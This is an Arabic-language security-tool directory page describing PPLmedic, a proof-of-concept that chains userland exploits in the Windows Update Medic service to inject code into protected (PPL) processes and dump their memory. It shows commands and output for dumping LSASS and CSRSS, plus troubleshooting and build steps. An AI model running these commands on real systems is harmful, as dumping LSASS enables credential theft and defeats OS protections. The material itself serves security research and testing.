Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PPLmedic — تفريغ ذاكرة أي PPL باستخدام سلسلة استغلال في مساحة المستخدم | Kitploit
أدوات/GitHubGitHub/itm4n/pplmedic
تصعيد الامتيازاتالاستغلالما بعد الاستغلالالفريق الأحمرتطوير الحمولاتArchived
GitHubitm4n/pplmedic

PPLmedic

تفريغ ذاكرة أي PPL باستخدام سلسلة استغلال في مساحة المستخدم

عرض المستودع
35339منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PPLmedic

تنفّذ هذه الأداة سلسلة استغلال في مساحة المستخدم (Userland) لحقن كود تعسفي في عملية PPL بنوع الموقّع Windows ورفع مستوى نوع الموقّع إلى WinTcb. نوقشت هذه التقنيات في الأصل بواسطة James Forshaw (المعروف بـ @tiraniddo) في مقالته حقن كود في عمليات Windows المحمية باستخدام COM - الجزء 1.

لمعرفة المزيد حول هذه الأداة، يجب عليك قراءة مقالة المدونة المرافقة لها هنا:

  • تجاوز حماية PPL في مساحة المستخدم (مرة أخرى)

💣 إخلاء مسؤولية

أودّ وصف هذه الأداة بأنها إثبات مفهوم متقدّم. يجب أن تفكر مرتين قبل استخدامها في اختبار حقيقي. إنها آمنة للاستخدام طالما لم تتم مقاطعتها، وهو ما لا يمكن ضمانه في وجود EDR على سبيل المثال.

تقوم بتعديل مفاتيح تسجيل مهمة متعلقة بخدمة Windows Update Medic. في أسوأ الأحوال، إذا لم تتم استعادة مفاتيح التسجيل هذه بشكل صحيح، فقد تفشل هذه الخدمة في العمل بشكل صحيح، لكن هذا لن يؤدي إلى انهيار نظام التشغيل.

📝 الاستخدام

المتطلبات الأساسية:

  • الصلاحيات: Administrator أو SYSTEM مع SeDebugPrivilege
  • المنصة: Windows 10/11 أو Windows Server 2019/2022
  • البنية: يُدعم فقط x86_64
root@kitploit:~
REM Use the option -p to elevate from PPL-Windows to PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]

قم بتفريغ ذاكرة عملية PPL-Windows أو أقل (مثال: LSASS):

root@kitploit:~
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe                      756 Services                   0     20,028 K

C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]

قم بتفريغ ذاكرة عملية PPL-WinTcb (مثال: CSRSS):

root@kitploit:~
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe                      520 Services                   0     26,420 K
csrss.exe                      608 Console                    1     57,548 K

C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]

📋 الاختبارات

🚧 المشاكل المعروفة

خطأ: "Unexpected error or timeout"

تحصل على الخطأ التالي لأن الاستغلال انتهت مهلة انتظاره أثناء محاولة إنشاء كائن TaskHandler COM عن بُعد. عادةً ما يكون هذا علامة على أن الخدمة المستهدفة WaaSMedicSvc قد انهارت. يمكن تأكيد ذلك من خلال الرسالة التالية: [!] Service WaaSMedicSvc is no longer running. يجب أن تحاول تشغيل الأداة مرة أخرى.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]

خطأ: "Reached the maximum number of attempts"

تحصل على الخطأ التالي لأن الاستغلال فشل في كتابة دليل كائن صالح خلال أقل من 1000 محاولة. يعمل هذا الحد كآلية أمان لمنع الخدمة المستهدفة من استهلاك الكثير من الموارد. يجب أن تحاول تشغيل الأداة مرة أخرى.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]

خطأ: "Failed to write LdrpKnownDllDirectoryHandle value"

تحصل على الخطأ التالي بسبب حدوث خطأ غير متوقع عند استدعاء LaunchDetectionOnly أو LaunchRemediationOnly. لكن هذا يجب أن يكون نادراً جداً. يجب أن تحاول تشغيل الأداة مرة أخرى.

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]

خطأ: "Failed to cache sign ..."

تحصل على الخطأ التالي لأن الاستغلال فشل في التوقيع المخبأ لملف DLL الحمولة. على الأرجح أن oplock المضبوط على ملف الكتالوج لم يتم تفعيله أبداً لأنه كان مفتوحاً بالفعل بواسطة Kernel. يمكنك محاولة إعادة تشغيل الأداة في وقت لاحق (بالنسبة لنظام Windows 11، راجع قسم "الاختبارات").

root@kitploit:~
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]

🏗 تعليمات البناء

يتكوّن حل Visual Studio هذا من مشروعين (الملف التنفيذي وملف DLL الحمولة) يجب تجميعهما بترتيب معين. كل شيء مُعدّ مسبقاً، لذا عليك فقط اتباع هذه التعليمات البسيطة. يتم تضمين ملف DLL الحمولة المُجمّع تلقائياً في الملف التنفيذي النهائي.

  1. افتح الحل باستخدام Visual Studio 2019.
  2. اختر Release / x64 (x86 غير مدعوم!).
  3. Build > Build Solution.

🎖 الاعتمادات

  • @tiraniddo - حقن كود في عمليات Windows المحمية باستخدام COM - الجزء 1
    https://googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html
تنزيل الأداة
إصدار WindowsPPL-WindowsPPL-WinTcbملاحظة
Windows 10 22H2 Build 19045.2673✔✔N/A
Windows 11 22H2 Build 22621.1344⚠❌انهيار متكرر للخدمة + استغلال التوقيع المخبأ المزيّف لا يبدو أنه يعمل.
Windows Server 2019 Version 1809 Build 17763.4010✔✔N/A
Windows Server 2022 Version 21H2 Build 20348.1547✔✔N/A